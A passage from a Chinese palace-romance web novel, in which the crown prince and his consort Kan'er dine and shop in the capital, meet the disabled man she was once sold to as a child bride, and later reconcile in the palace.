槛儿对上他的眼神,脸本能地热了热,而后扶扶鬓角低头张嘴吃了。
两人就这般挨在一处食了几小块糕点,又各自漱了口喝了小半盏茶。
约莫两刻钟后,马车驶出了西安门。
等穿过内城的西安门大街到西四牌楼,就算是真正到了市井繁华街区。
槛儿没有撩开帘子看。
但她能听到街边老汉叫卖馄饨、热汤面,能听到娘子将案板剁得啪啪响,高喊酱肘子、拌鸡拌鸭拌猪耳朵。
另有挑着担,沿街叫卖寒瓜汁,酸梅汤的,有贩卖头油、胭脂水粉的。
晚风裹挟着食物香、花粉香以及百姓们的交谈声,孩童的笑闹声,顺着微微晃动的车窗帘子缝隙挤进来。
槛儿的心怦怦直跳。
没多会儿,马车停在津馔楼门前。
等太子先行下了车。
银竹方上车替槛儿戴上帷帽,这帷帽自然不尽是用来遮蔽面容的。
本朝没有成了婚的大家妇人或是千金小姐,不能在外抛头露面的规定。
戴帷帽与其说用来遮面,不如说是一种身份的象征,也是一种装扮流行。
槛儿的这顶帷帽是以青竹丝织成的镂空帽胎,边缘处用银丝收边。
帽前有精致刺绣,帽顶两串珍珠璎珞,淡青色的轻纱刚好垂落至下巴处。
骆峋负手立在楼门前。
不经意间回首,正见槛儿从车上下来。
风撩起帷帽上的轻纱,那张雍容娇艳的芙蓉面一闪而过,再待罗纱垂下,隐绰之间犹可窥见其瑰丽之姿。
比之平日更添朦胧之美。
骆峋的脑海中不合时宜地冒出一句词。
腻粉琼妆透碧纱,雪休夸。
意识到自己想了什么,骆峋不显地蹙了蹙眉。
正暗恼自己如何能这般孟浪,就听槛儿柔声唤他道:“六爷,等等妾身。”
骆六爷:“……”
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京城里属教坊司管辖范畴内的酒楼一共有六家,每家的特色菜、美酒以及歌舞戏曲等都别具一格。
遇上番邦使臣来京,或是官员之间宴请、富商巨贾、文人名士聚会什么的。
必定少不了去这几家酒楼。
太子要来他们这儿吃饭,津馔楼管事的前天晚上连夜就收到消息了。
为避免太子过来时被官员撞见,双方都不自在,也是不想闹得人尽皆知。
所以津馔楼昨日一早就挂了牌子,道楼里几个厨子外出精进手艺去了。
这两天便只能做些普通小食,达官贵人们若有需要还请移步别的地方啥的。
有没注意到牌子或是坚持要在这儿吃的,都被津馔楼的人请去了别处。
另附加一份补偿。
如此倒是没人说什么,也没人察觉到什么。
进了楼,楼里管事的领着槛儿与太子上了事先定好的四层一间雅间。
屋中布置雅致,膳桌摆在临窗的位置,
窗户开着。
一眼望去这一片的夜景尽收眼底。
津馔楼的厨子是来自全国各地的名厨,经宫里考核之后分派下来的。
不同于宫里不管宴请还是日常都以淮扬菜和鲁菜为主,津馔楼里兼具八大菜系,及某些地方的秘制菜。
槛儿与太子今晚膳桌上的菜便是每个菜系一道,外加两道地方秘制菜品。
像是鲁菜博山豆腐箱,川菜椒盐樟茶鸭,经典粤菜八宝冬瓜盅,苏菜脱骨鳜鱼,徽菜石耳炖鸡等等。
量都不大,差不多每道刚好两人份。
也都是试了毒的。
等菜上完,管事的另端了一壶枇杷露酒来。
太子能喝酒槛儿是知道的,只不过他一向只会在宴席场合饮酒。
不论前世还是这辈子,只有他们两个人用膳时槛儿从没见过太子喝酒。
当然,她日常也滴酒不沾。
逢宴倒是会浅酌两口果酒。
所以酒端上来时槛儿还诧异了一下,问管事的这酒是不是楼子里送的。
管事的恭敬赔着笑,没直接回话,只眼神往太子爷的方向斜了斜。
槛儿懂了。
在外面,不必讲究那么多规矩,因而这顿饭也没让人在跟前侍膳。
楼下和门外有锦衣卫守着。
袁宝、银竹也被使到隔壁吃饭去了,门一关屋中就剩了槛儿与太子两人。
槛儿挽起袖子。
起身往对面人手边的雕花银杯中斟酒,“六爷今日好雅兴,说起来,妾身之前还没见过六爷饮酒呢。”
“六爷”这个称呼今日也是她第一次叫,不过骆峋倒觉得她叫得挺顺口。
“坐。”
骆峋从她手里接过酒壶,示意她坐下,旋即也将她面前的银杯斟满了。
放了酒壶,他朝槛儿执杯。
槛儿受宠若惊般怔了怔。
而后喜笑颜开,一手压着袖子,一手举杯轻轻在他的杯沿上碰了一下。
骆峋唇角微勾了勾,仰头先饮一杯。
喉结随之上下攒动。
槛儿不经意瞥见了,然后默默侧目。
以袖遮面也一饮而尽。
之后两人再分别替对方满上,倒没再干杯,而是配着菜一口一口浅酌着。
楼下街道灯火通明,人声鼎沸。
举目夜空星星点点。
静谧非常。
一顿膳罢,槛儿的心口被果酒烫得热滚滚的,双颊也呈现出醉酒的靡艳。
漱了口又换了身衣裳。
骆峋想了想,挥退袁宝等人。
“醉了?”
他用手背碰了碰槛儿绯红的脸颊,低声问。
“没呢,”
槛儿摇头,又捂了捂脸道:“我喝酒容易上脸,您看我眼神多清明。”
说着,她真睁圆了眼让太子看。
骆峋也真看了。
确实挺清明。
他便捏了捏她的手,“嗯,那走……”
想说那走吧,下去逛街。
然剩下的话被她的唇堵住了。
她也没做别的,就踮着脚环着他的脖子贴着他的唇,呼吸间残余着枇杷露的清香与一丝糯米甜酒味儿。
他们在内室,可仍能听见窗外人声喧天。
骆峋的眸光微沉,安抚地拍拍她的手臂,近乎耳语道:“忍忍,等回去了……”
第208章 “六爷好本事。”槛儿与秋穗娘?!
槛儿差点被一口气给呛到。
撒娇似的瞋了他一眼,暗道这人说什么呢,她只是突然想逗逗太子爷罢了。
槛儿忍着笑松了手准备出去,哪知转身步子没迈开便被拉了回去。
骆峋牵着槛儿的手。
俯身在她唇上轻咬一口,在她轻呼出声前探入,另一手捧着她的脸,拇指指腹在其细嫩的面颊上摩挲着。
等一吻结束,他拿手帕在槛儿唇瓣上拭了拭,哑声道:“不可再逗弄孤。”
槛儿手脚被他亲得发软,索性栽进他怀里,“六爷好本事,妾身走不动路了。”
骆峋耳根发烫,在她腰上拍了一下。
“不可胡言。”
槛儿忍着臊意小声咕哝:“六爷这是敢做不敢当,是只许州官放火。”
骆峋觉得自己真是将她纵坏了,换做以前,她如何敢同他这般说话。
骆峋忽然想起。
自己似乎将等她做完月子便与她讲讲规矩的事,忘得一干二净了。
“……”
“您生气了吗?”
没听到太子的声音,槛儿从他怀里抬起头问。
骆峋一垂眸就对上她略显踌躇迟疑的眼神,明明刚刚他们才那般亲密。
他莫名噎了一下,收了收双臂拥住她。
“没有,是不知该如何回你。”
“孤,不甚擅长这样的事。”
罢。
何苦败她的兴。
他不是庆昭帝,她也无需那般时刻战战兢兢。
槛儿偏头靠着他的胸膛。
看着他清俊的下颌,默了默,她嗫嚅般道:“我也不擅长,但就想和爷亲近。”
骆峋按按她的嘴角,“油嘴滑舌。”
说完猛地想起之前他说过她一次油嘴滑舌,当时被她不正经了一回。
于是低头看她,就见她在忍笑。
明显也想起那一茬了。
骆峋微顿,把槛儿的头按到怀里不准她动。
两刻钟后,一行人出了津馔楼。
扮成百姓的锦衣卫有护在两位主子身边的,有混在人群中四处分散的,袁宝和银竹亦紧跟在二人身后。
为方便锦衣卫行事,也是不想太子真出什么事。
槛儿在袖子的遮掩下悄悄拉住太子的手,带着他走路边人少的地方。
骆峋自是一直有警惕周围的,毕竟他出宫的消息并不是真就能瞒死。
察觉到槛儿的意图,他环视四周。
在袖下回握住了她的手。
两人就这么沿着主街往皇宫方向逛。
槛儿一面提防着身边的人和事,一面目不暇接地看着街头的热闹。
途径一家首饰铺子,她牵着太子进去。
一进店,太子爷就松开了她的手,清冷正经得好像刚刚牵她手的不是他似的。
槛儿习以为常。
扯着他的袖子往男子饰物柜台走。
这家首饰铺子不大,位置离主街中心相对较偏,比不得那些动辄两三层,深受贵妇千金们喜爱的首饰楼。
铺子里这时候没几个客人,槛儿也是看中了这一点才拉着太子进来的。
伙计满脸堆笑地跟在银竹旁边,嘴里热情地念叨着“两位随便看随便瞧”。
老掌柜在另一边柜台后面漫不经心拨着算盘,听到动静习惯性抬头瞥了眼。
然后可不得了。
老掌柜的两只眼睛在一瞬间迸发出惊人的光!
他的直觉告诉他现在在他铺子里的这对男女,绝非普通富贵人家出身!
或许今晚他将会迎来他五十年的掌柜生涯中最荣光,最至高无上的一刻!
“夫人想给这位相公买点儿什么?小的这铺子虽小,东西可不含糊。
您要柜台上没看中的,小的这就去后库拿最新鲜的过来,保准您看过眼!”
老掌柜过来自觉做得隐蔽地一屁股顶开伙计,见牙不见眼地笑着道。
槛儿往柜台扫了一圈。
回以笑道:“那就劳烦掌柜了。”
“不麻烦不麻烦,夫人客气。”
贵夫人戴着帷帽看不清容貌,老掌柜也不敢窥视,连声应下后也没使唤伙计,自己就跑去了后面库房。
不多时回来,怀抱着一个不小的楠木箱子,打开后从中拿出二十来个匣盒。
有发冠发簪、带钩扳指、手串印章,用料金银玉石珍珠等看得出来成色确是极好的,样式贵气又不失雅致。
槛儿看了看。
最后挑了一个翡翠扇坠,并一支发簪。
扇坠是中空竹节样式的,节间镶嵌着金丝,发簪用料是时下珍贵的紫竹。
槛儿拿着扇坠在太子手中的折扇上比划了两下,当场就给他戴上了。
紫竹簪则用锦盒装着。
骆峋斜眼袁宝。
后者掏出荷包就要给银子。
槛儿伸手阻了,假作嗔道:“妾身给爷看的,让爷自己拿银子算怎么回事?”
她做昭训时月银是八两,现在每月四十五两,加上之前帝后赏赐里包含的金银和京郊皇庄的一百亩地。
这几个月槛儿手里也是有一笔不少的收入,给太子送两样礼还是送得起的。
槛儿从银竹手中拿了荷包问老掌柜多少钱,老掌柜笑眯眯报了个实在数。
目送贵人们走远。
伙计挠头问:“咱又不是没招待过身份高的少爷夫人,您刚刚做啥非得自己上,难不成您认识那两位?”
老掌柜:“你不懂。”
伙计:“有啥不能懂的,你不说我咋懂?”
老掌柜:“说了你也不懂。”
“您说都没说,怎么知道我不懂?”
老掌柜哼笑,朝贵人们走远的方向又望了两眼,才折身回了铺子里。
再有不到十天便是乞巧节,槛儿与太子沿着街边拐进了另一条街。
这条街上俨然一片浓浓的节日气息。
有小摊摆着彩塑童男童女泥偶,分层搭架的泥偶最上面摆着一对金童玉女。
男孩骑着荷叶抱着锦鲤,女孩戴着花冠拎着灯笼,圆嘟嘟胖滚滚的。
好不可爱。
槛儿想到了留守在家的曜哥儿。
“六爷,我想去看看那个!”槛儿扯扯太子的袖子,指着泥偶摊方向兴奋道。
骆峋看了看摊前扎堆的孩童与姑娘。
槛儿一下子懂了他的顾虑,拉他到人少的地方,软声道:“我和银竹过去,您在这儿等我好不好?”
骆峋没有拒绝。
示意锦衣卫跟好她,同时不忘叮嘱:“当心些。”
槛儿应声去了。
小摊上除了有娃娃泥偶,还有很多小动物和流行话本中的人物形象。
槛儿先让小贩将那对金童玉女给包上,然后另挑了一只小陶猪。
正好小陶猪的旁边是头戴凤翅紫金冠、身穿锁子黄金甲的齐天大圣。
槛儿想到前两天才跟曜哥儿讲了玄奘师徒去西天取经的故事,小家伙当时看模样听得津津有味。
虽然知道他肯定没听懂,但槛儿觉得儿子可能会喜欢齐天大圣这个泥偶。
“摊主,烦请帮我把这个……”
“小哥,这个咋卖?”
却是槛儿的指尖刚碰到齐天大圣,泥偶就被另一只姑娘家的手拿走了。
槛儿扭头。
就见旁边一身形清瘦的小妇人,穿着一件碎花交领窄袖夏衫,头戴布巾。
约莫十七八岁的模样,气质较为羸弱。
正是秋穗娘。
第209章 傻子董茂生:“槛儿你回来啦!”两对男女
陈月娥对别人是一毛不拔的铁公鸡,对她儿子董茂生倒是向来舍得花钱。
这不?
特意给了秋穗娘一两银子,让她趁晚上有空,带董茂生出来做两身衣裳。
虽说秋穗娘这些年在董家没少被陈月娥磋磨,养得内向敏感木讷寡言。
但到底年纪不大,陈月娥不在,秋穗娘偶尔也会显现出这个年纪该有的真性情。
加之家里这几个月好过了不少,陈月娥有钱万事足,待秋穗娘倒也就没像以前那般过于鸡蛋里挑骨头了。
今晚还破天荒说给董茂生做了衣裳剩的钱,让秋穗娘瞧着想买啥就买啥。
剩了二十文钱,秋穗娘自然不会把它用了。
不过难得晚上出门,逛一逛也是可以的。
于是就有了此时这一幕。
秋穗娘不是有意要抢那个齐天大圣。
而是她方才的注意力全在街头的热闹上了,又一眼就看到了这个泥偶。
秋穗娘还没买过这种小玩意儿呢。
便想着马上乞巧,如果便宜,她没准儿也可以考虑买一个,就当是犒劳自己的。
却是没想到,她和别人看中了同一个泥偶。
又见对方衣着打扮不俗。
连帷帽上像似都嵌着银丝珍珠。
半撩的轻纱下单是那在灯火下散发着润光的面皮便叫秋穗娘有一瞬的晃神,更别说那艳丽娇媚的五官。
“呃,齐天大圣就这一个了,二位夫人你们谁要?”
银竹替槛儿放下帽纱。
这一动作也让和秋穗娘一样,对着这位美艳小夫人目眩神夺的小贩回过神来。
小贩红着脸,热情地笑问道。
秋穗娘的思绪被他的声音拉回来。
反应过来自己居然对着同为女子的人看失神了,她脸“唰”地一红,旋即尴尬局促地把齐天大圣给放回了摊上。
“对、对不住,我、我不要了,你买吧。”
话是对槛儿说的。
说完也没等槛儿应声,转身就跑。
谁知身后站着两个不大的孩子,秋穗娘闪避不及,脚下一个踉跄。
眼看就要撞到泥偶摊上。
她忽地感觉后腰被人一托。
回头一看,见是一个相貌普通穿着打扮像是大户人家婢女的女子。
秋穗娘站稳后正要道谢。
就见那女子没什么表情地收回手,站到了刚刚让她看失神的小妇人身侧。
秋穗娘面上又一阵尴尬。
不过她还是道谢道:“谢、谢谢。”
槛儿笑着道了声“不客气”,拿起齐天大圣问:“你要吗?你若想要就买,我不一定非要这个。”
人美,声音也好听。
温温柔柔的。
这就是大户人家的少奶奶吗?
秋穗娘暗想,面上红着脸连连摆手:“不用不用!我就是随便看看。”
她边说边往后退。
同时不忘注意身后的人,只这回没等他转身,身后就传来了熟悉的声音。
“穗娘,穗娘,我都在那边等你好久了,你怎么还不过来呀?你在和谁说……”
却是董茂生。
他虽然人傻,但到底在京城待了三四个年头,他们家附近的这一片儿地方董茂生还是能找到路的。
今晚秋穗娘出来陈月娥让把他也带上,但秋穗娘不喜和董茂生一道逛街。
所以方才过来看泥偶时,她就让董茂生在对面人少的路口等她。
但董茂生脑袋不好,能指望他能多规矩,等了一会儿他就等不住了。
跑过来找穗娘。
秋穗娘本就正是自惭形秽尴尬难堪的时候,见董茂生过来了她更是羞窘。
于是也没注意到董茂生的异样,拽着人的胳膊就往别处拉,嘴上羞恼道:
“你过来做什么!我不是让你在原地等我吗?行了行了,咱赶紧……”
话没说完,秋穗娘发现自己拽了半天,结果这傻子站在这儿纹丝不动。
她不禁停下来抬头看向董茂生,就见这傻子直愣愣地盯着一个方向。
秋穗娘循着他的视线看过去,发现他看的竟就是刚刚让她失神的那女子。
看得那叫一个出神,眼珠子一错不错的。
以为他这是看上人家了。
秋穗娘登时又窘又恼又悲。
窘恼的是被那样一个有钱又好看的女子发现她和一个傻子有关系就罢,偏这傻子还一上来就盯准了人家。
人家的面纱都是遮着的,这傻子能看到什么,又能看中人家什么呢?
悲的是自己照顾这傻子这么些年,这人多数时候还连她的名字都叫不对。
如今却是会对一个脸都看不清的人盯得这么起劲,秋穗娘觉得自己就是个笑话。
可窘归窘悲归悲。
秋穗娘自认丢不起人,便又在眨眼间调整好情绪打算把董茂生拽走。
但就在这时。
董茂生突然朝那女子走去。
表情在一瞬的痴呆后变成惊喜,嘴上念叨着:“槛儿!槛儿你回来啦?!”
说着话,他手伸了过去。
却是刚有这个动作,秋穗娘就见不久前好心扶了她一把的那名婢女挡在了那女子跟前,表情很冷很冷。
秋穗娘一个哆嗦。
她可是知道大户人家一般不是他们这些平头老百姓能招惹得起的。
尤其这还是在京城,谁知道眼前这两个人会不会是从哪个官家出来的。
秋穗娘不敢耽搁,一把扯住看不懂别人脸色的董茂生,又忙不迭赔罪。
“对不住,对不住,他是个傻子脑子有问题,冒犯您了真的对不住,我这就带他走,这就带他走。”
说着,使劲把人往外拽。
哪知平时很容易哄的董茂生这回却跟头犟驴似的,朝着那戴帷帽的女子直个劲儿激动地叫“槛儿”。
秋穗娘越拽,他越是想往人家那边奔。
动静闹得大了,临近几个摊位和路过的人都朝他们这边看了过来。
秋穗娘正是不知该咋办。
就见那婢女模样的姑娘往泥偶摊上扔了块儿碎银子,然后拿了小贩包好的东西护着戴帷帽的小夫人走了。
鬼使神差的。
秋穗娘的目光追随着那道窈窕身影。
看着看着。
在临近对面没几个人的旧书坊时,她的视野里出现了一道异常高大的身影。
那是一个男人。
一个身形伟岸,身姿极其挺拔贵气,一张脸俊美得犹如天神下凡的男人。
秋穗娘看到那女子走到男人跟前,两人不知在说什么,男人脸上似没什么表情。
但下一刻。
他朝他们这边看了过来。
淡漠、冰冷。
像是充满了与生俱来的高高在上,又像是夹杂着悲天悯人的慈悲。
是秋穗娘看不懂的眼神。
也是让她脑海里本能的一白,脊背猛地一阵发凉,浑身寒毛卓竖的眼神。
等她反应过来时,董茂生已经挣脱了她,一面嚷着一面朝旧书坊跑去。
可秋穗娘定睛一看。
那地方哪里还有他们的影子。
“槛儿!槛儿!槛儿……”
马车拐弯,驶入另一条街道,男人浑厚憨痴的声音在人流中渐行渐远。
车壁两侧的琉璃灯静静散发着晕黄的光,靠近车门的冰鉴隐可见丝丝缕缕的凉气在空气中蔓延开。
车内,安静得出奇。
第210章 槛儿心乱了,太子再次出格
片刻,槛儿撑起笑看向身边人:“您还要逛吗?”
骆峋假装没看到她发白的面色,也没问她是否认得方才唤她名字的男子。
“你可想逛?”
宫门每日戌时下钥。
这会儿已快亥时,早过了下钥的点儿。
但逢上宫里主子出宫有特例放行,且他们出宫是元隆帝特许了的。
子时之前回去即可。
如果没有刚刚那茬事,槛儿兴许会想再逛半个时辰。
但现在,她丁点儿心思都没了。
“妾身不太想逛了,感觉有些累,也有些想曜哥儿了,不过您若还有兴致……”
“回吧。”
骆峋出言打断道。
尽管日常有时她的笑也并非出于真心,但那时好歹她人是呈放松状态的。
而不是像现在,仿佛一根紧绷的琴弦,在硬逼着自己弹出美妙的乐章。
骆峋不想看她这样。
只他惯是不喜形于色,语气在车外人声的衬托下也显得尤为清冷淡漠。
槛儿心里装着事,没捕捉到他语气里的异样,下意识以为太子此时心情不佳。
她唇角勾起的弧度不自觉僵了僵,很快又放松,眼底掠过一丝自嘲。
也确实该心情不佳。
槛儿自觉自己的名字没什么特别之处,但也不至于满大街都是,随便撞见一个人就能被对方叫错的地步。
本来也不是叫错。
其实时隔几十年,她早不记得当初买她当童养媳的那家人具体什么样了,也不记得那家的傻儿子是何模样。
只知道他的名字。
董茂生。
可她不记得,不代表这具身体也忘了。
所以刚刚几乎是对方喊出她名字的瞬间,她透过薄纱看到那人的眉眼。
槛儿就想起来了。
董茂生,那个曾被村子里的人戏称是她的小丈夫,被她累死累活吃喝拉撒睡地照顾了近两年的小傻子。
再一听那拦着他的小妇人说他脑子不好使,槛儿一下子就确定了。
真是他。
董家人为什么会在京城?
董茂生为什么还记得她的名字,为什么隔着一层纱也能认出她来?
那小妇人又是谁?
是和她一样的遭遇,也是被他们家买回去给董茂生做童养媳的吗?
若如此,董茂生又为何还记得她?
刚刚面对面的几息间。
槛儿的脑海里闪过一连串问题。
可她也没忘自己当下的身份与处境,因此她丝毫的出神都没有,示意银竹放了钱后拿上东西便走了。
可人走了,不代表这件事没发生过。
当初她入宫接受身份审查时,并没有隐瞒自己曾给人做过童养媳的事。
因为她被卖时,舅舅舅母只给了董家她的户籍册子,没同董家签契书。
所以她本身不算是夫家财物。
仍属于独身良家女。
槛儿不清楚当时负责采选她们那一批宫人的人,去实地调查时都查过什么。
总之她那时顺利入了宫。
她的身契上也记载了她曾为人童养媳,后被主家主动抛弃的事实。
槛儿相信,太子也早知道这件事。
可知道归知道,到底不是什么光彩事。
上辈子庆昭帝没问过这件事,除了瑛姑姑,槛儿从不曾向谁提起过这事。
却是没想到,这辈子竟这么和董茂生撞上了,还被对方一眼认了出来。
甚至被追着喊名字。
太子会怎么想?
先有金承徽构陷她和太监有染,再有她险被孔喜德强迫的旧事被翻出。
如今又冒出一个董茂生。
童养媳的事明显也是要被牵扯出来的。
这些事都不是她的错,槛儿也不认为是她招惹的,可一件接着一件。
难免叫人觉得糟心。
上辈子她不曾出宫,日常恪守本分认真做好每一场戏,他对她的宠也有衡量分寸,有除她以外的妾。
有那么多儿女。
因而她得宠,却不至于像这辈子这么打眼。
其他人对付她的手段便与这辈子不尽相同,没扯出这么多与名声有染的事。
槛儿内心是不在意别人怎么看她的,可现实却不允许她不在意,更不允许她不在意太子如何看待她。
他会怎么想她呢?
马车驶出主街,周遭安静下来。
若刚刚没遇上董茂生,回去的这时候槛儿应该会很满足,很高兴地挽着太子的胳膊,与他说些好听话。
他们会和平时一样亲昵。
亦或者会在马车上做点儿亲近事,毕竟不久前在津馔楼时的气氛那般好。
他待她好,槛儿也想投桃报李。
可现在,槛儿只觉得累。
她伴君如伴虎地过了一辈子,本以为这辈子他们的相处方式改变了。
结果到头来发现仍逃不了一步步算计,他们的身份、尊卑,注定了她在他面前的一言一行,一个眼神。
都要时刻看他的脸色,时刻以他的想法为主,上辈子她如履薄冰地过完了。
而这辈子,她如今才十六岁。
他们还有好几十年,几十年……
可这是她选的,她一开始也没得选。
槛儿低着头盯着鞋子出神。
骆峋端坐着。
余光没错过她脸上的怔忪和失神,视线也循着她的目光落到她的绣鞋上。
那是一双浅碧色的厚底云头缎面鞋,其上绣有精巧的蝶穿四季繁花,云端之上缀几颗绿豆大小的珍珠。
与她身上的裙衫极为相衬。
来的路上骆峋就注意到槛儿的绣鞋了,倒不是他有意往她脚下看。
而是彼时她心情甚好。
整个人看似端坐着,脚尖却会时不时往上翘一翘或是往两侧撇一撇。
动作间云头上的珍珠便会发出一阵细响。
当时外面车轮声辚辚,或许她并没有察觉到自己无意识的小动作。
可骆峋听到了,注意到了。
然现在,云头上的那几颗珍珠静静缀在鞋面上,再不复来时的雀跃。
骆峋眼睫垂了垂。
眸光移到槛儿交叠在身前的手上。
须臾,他伸手覆上去。
温热的大掌倏地握住她的手,槛儿微怔,侧首朝旁边看去,“殿下?”
骆峋抓着她的手示意她起身。
槛儿照做。
就见太子挪到位置中间,拉着她的手示意她与他面对面坐到他腿上。
槛儿仍旧照做。
然后她便比太子高出了一头,姿势与他们在榻上颠龙倒凤时如出一辙。
外面有锦衣卫,还有守在宫道上的侍卫。
槛儿有些不自在地撑起两条腿,臀儿堪堪悬在他腿上,“殿下,这……”
骆峋掐着她的腰,将她按实在自己腿上。
之后也没等槛儿反应过来,手罩着她的后颈便将其拉下来吻住了她。
第211章 太子厚脸皮!槛儿曾被打断腿。
这一吻如春风化雨,又似冰雪初融时的潺潺溪流,一点点渗入绵延的绿茵。
槛儿不清楚太子此时在想什么,但不得不承认他的举动安抚到了她。
她鼻头莫名的酸涩,可很快又被她压了下去。
她不能示弱的。
她除了自己,什么也没有。
甚至连曜哥儿都不能算是她的。
只是这一刻。
就这一刻。
槛儿忽然什么也不想去想。
不想去想他如今待她究竟是何心意,不想去清楚地记得他曾经有过谁,将来又会有谁这件事了。
槛儿想歇一歇。
于是她放弃了思考。
搭在男人肩头的一只手顺着他的侧颈缓缓往上,捧住了他的脸。
这个动作于寻常男人没什么,但于太子而言却是极为僭越放肆的。
以往骆峋虽纵她连更放肆的事都做过,可像这般的亲吻姿态却是没有过的。
骆峋不甚适应。
可也没阻止。
仰着头一下一下吻着她,放在其后颈的那只手似有若无地轻捏着。
像是在安抚。
等一吻罢,槛儿仍捧着太子的脸,拇指指腹摩挲着他精致上扬的眼角。
“殿下……”
骆峋与她对视,旋即将她按到自己肩头靠着,两人就这么相拥着坐着。
马车进了宫门。
又驶了近两刻钟在西华门停下。
槛儿理好裙子,又对着镜子整理了一番仪容后与太子下马车换乘轿辇。
不同于外面的喧嚣,夜晚的深宫万籁俱寂,仿佛一头张着血盆大口的巨兽。
静静吞噬着一切。
槛儿坐在轿辇上感受着周遭的沉寂,回想起不久前置身闹市只觉恍然如梦。
回了永煦院,亥时过半。
曜哥儿早睡了。
槛儿让银竹把买的那对金童玉女泥偶娃娃和小陶猪送去典玺局检查。
市井小摊上的东西除了用料比不得宫里精细,其他方面不会有太大的问题,但曜哥儿的身份非同寻常。
槛儿也不希望自己好心办了坏事,自然还是检查一番比较妥当。
听奶娘报了小家伙晚上的情况,槛儿也没去看他,而是先回房沐浴。
跳珠、喜雨和寒酥,早盼着良娣主子回来与她们讲讲宫外的新鲜事了。
伺候槛儿更衣时,除了稳重的寒酥,跳珠和喜雨你一嘴我一嘴地就给问上了。
槛儿无意把不好的情绪带给她们,但她这会儿也的确没心思谈论这些。
便随口称自己累了,让她们自己去把她给她们带回来的东西分了。
至于新鲜事什么的,等明天再说吧。
跳珠和喜雨虽是性子跳脱,却也心细,见状顿时就猜到自家主子的这趟出行可能遇上别的什么事了。
但主子既无意与她们说,她们也自觉不追问,只当主子真只是累了。
槛儿净了发便没让她们侍候,自己坐在小杌子上拿鎏金铜的杓往身上冲水。
前天刚立秋,天气还不见得转凉。
但在外逛了一圈回来用温热的水浇浇身上,浑身的筋骨都舒畅了。
槛儿淋了大半桶水才搁了杓,拿瑛姑姑出去前调制的澡豆花露膏抹身子。
冲洗之后再进浴桶。
温热的水将身体包裹,槛儿叹出一口气,将头枕在桶边特制的玉枕上。
大抵真累了。
槛儿一靠到枕头上就有些昏昏欲睡。
像是过了很久,又像是只几个呼吸的功夫,浴桶里的水忽地一阵涌动。
槛儿惊醒了。
睁眼一看,正见太子跨进浴桶,两条笔直的长腿上肌肉随着他的动作绷紧。
缎子似的乌发半干不干的,用缎带束着,侧搭过右肩头垂过胸膛。
身上那件天青色软罗寝衣水迹斑斑,应也是冲洗了身子之后过来的。
此时寝衣被他褪去扔到了不远处的榻上,肌理分明的结实胸膛一览无余。
刚刚回来时他回了元淳宫,槛儿当他有事要处理,得要会儿才过来呢。
没想到这就来了。
又纳闷他怎么悄无声息就进她这边浴间了。
便想起他走路做事惯是没什么声音,而东西浴房之间有一道相连的小门。
只不过早先两人一直分开沐浴,后面虽一起沐浴过,却是同时去一间浴房,因而始终没用过那道小门。
“殿下?”
槛儿怔了一下。
视线不经意触及到他腰腹之下,她背过身去,脸本能地红得几欲滴血。
暗道这人如今脸皮可真厚,每回都能这般大剌剌地露着身子给她看。
骆峋看着她纤薄白皙的背,耳尖的颜色与她半露的侧脸相差无几。
只他面上极为淡然,坐下后倾身掐住槛儿的腰将她抱到怀里贴着他坐着。
槛儿往外扑腾。
“妾身泡好了,您慢慢……”
话音未落,男人在她颈侧咬了一口。
槛儿倒在他身上。
“陪孤。”
骆峋环住她,宽阔的身躯几乎将槛儿整个人圈住,低沉的声音充满蛊惑。
槛儿软在他怀里,坐也不是不坐也不是。
骆峋:“不必管。”
槛儿假装听不懂他在说什么,侧了侧身子闭着眼斜靠在他胸膛上。
浴间一下子安静下来。
过了会儿。
“之前在街上碰到的那人……”
“孤不介意。”
两道声音同时打破沉寂。
槛儿身子微僵,头一抬,对上男人看似寡淡实则深邃幽暗的眸光。
骆峋看着她,神色平静而专注。
“元隆五年春汛,安庆府宿松县江堤溃决,县南百里为泽,宋家举家北上。
途经庐州府舒城县集镇,你被卖与一农户做童养媳,今晚所遇的那男人,便是你曾经名义上的丈夫。”
“他认出你了,你也认出他了。”
“你怕孤介意你曾与别人有过婚约,怕孤介意你名声不贞不洁,怕孤会为此前的一桩桩事厌弃于你。”
槛儿知道他早对她的底细一清二楚,也知道他可能猜到董茂生的身份了。
亦猜到她的心思了。
若不然一向恪守礼节的他不会在马车上,做出那般与她亲近的事来。
可那时毕竟没有戳穿那层窗户纸。
她可以故作镇定。
在尊贵的他面前假装藏住自己这具身体内心深处的卑怯、羞赧与难堪。
然而现在,他开门见山地撕开了这层纸。
活过一辈子的槛儿心绪复杂难以言表,这具身子则本能地感到羞耻。
羞耻什么?
槛儿想,大抵是这具身子还清楚地记得那
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些曾被迫给人端屎端尿的日子。
被迫忍着满心耻辱替十岁的男娃脱裤子脱衣裳,伺候对方从头洗到脚的日子。
然后与狗抢食,与鸡争粮。
与猪同睡。
所以当着太子的面,这一年多以来一直被槛儿压制住的,那股源于骨子里的自卑与敏感再度涌了上来。
这也是为什么,回来的路上她的心会乱。
槛儿心口酸涩闷堵。
她深吸一口气,再吐出来。
“对,是他,就是他娘当初买了我去给他做童养媳,不过您可能不知道。
那人是个傻的,他生活不能自理,我每天要做的事就是贴身照顾他。”
具体怎么个照顾法,槛儿没说明白。
也是没必要。
这种事稍微一想就能想到。
且太子既猜到了董茂生的身份,也就迟早会知道他是个傻的,她怎么照顾过他,太子自然也会知道。
“你当初被卖的原因为何?”
骆峋问。
槛儿想了想。
“逃难路上我们的行囊被其他难民抢了,外祖父外祖母受伤生了病,我们没钱给二老看病,也没钱吃饭。”
舅舅舅母当初这么跟她说的。
说外祖父外祖母待她好,她忍心眼睁睁看着二老就这么没了吗?
说他们要养两个老的,还要养几个小的,能让她这个拖油瓶在他们家白吃白住两年已经是仁至义尽。
到她报恩的时候了。
舅舅舅母以为她小,不懂事。
就费尽心思想说服她自愿同意他们把她卖了,这样他们也好占理。
殊不知她懂事懂得早。
她知道外祖父是郎中,与其说是舅舅舅母养着二老,倒不如说是二老养着他们。
槛儿知道舅舅舅母身上藏的有钱,逃难路上表姊妹们常背着二老偷嘴。
她也知道舅舅舅母之所以想卖她,根本原因是想甩掉她这个拖油瓶。
槛儿清楚的。
所以她虽忧心于外祖父外祖母的病,却并没有同意舅舅舅母把她卖了。
槛儿原打算想办法拆穿舅舅舅母,亦或是自己去挣银子给二老看病。
可惜那会儿她太小,六岁生辰还没过,舅舅舅母一顿蒙汉药就给她放倒了。
等她醒来时人已经在董家了,董茂生的娘拿她的户籍册子扇她的脸。
说她舅舅舅母把她卖给他们家了,从今往后她就是董茂生的小媳妇儿。
要她听话,不听话就不给饭吃。
敢跑就打断她的腿。
槛儿跑过一次,腿真被打断过。
很痛。
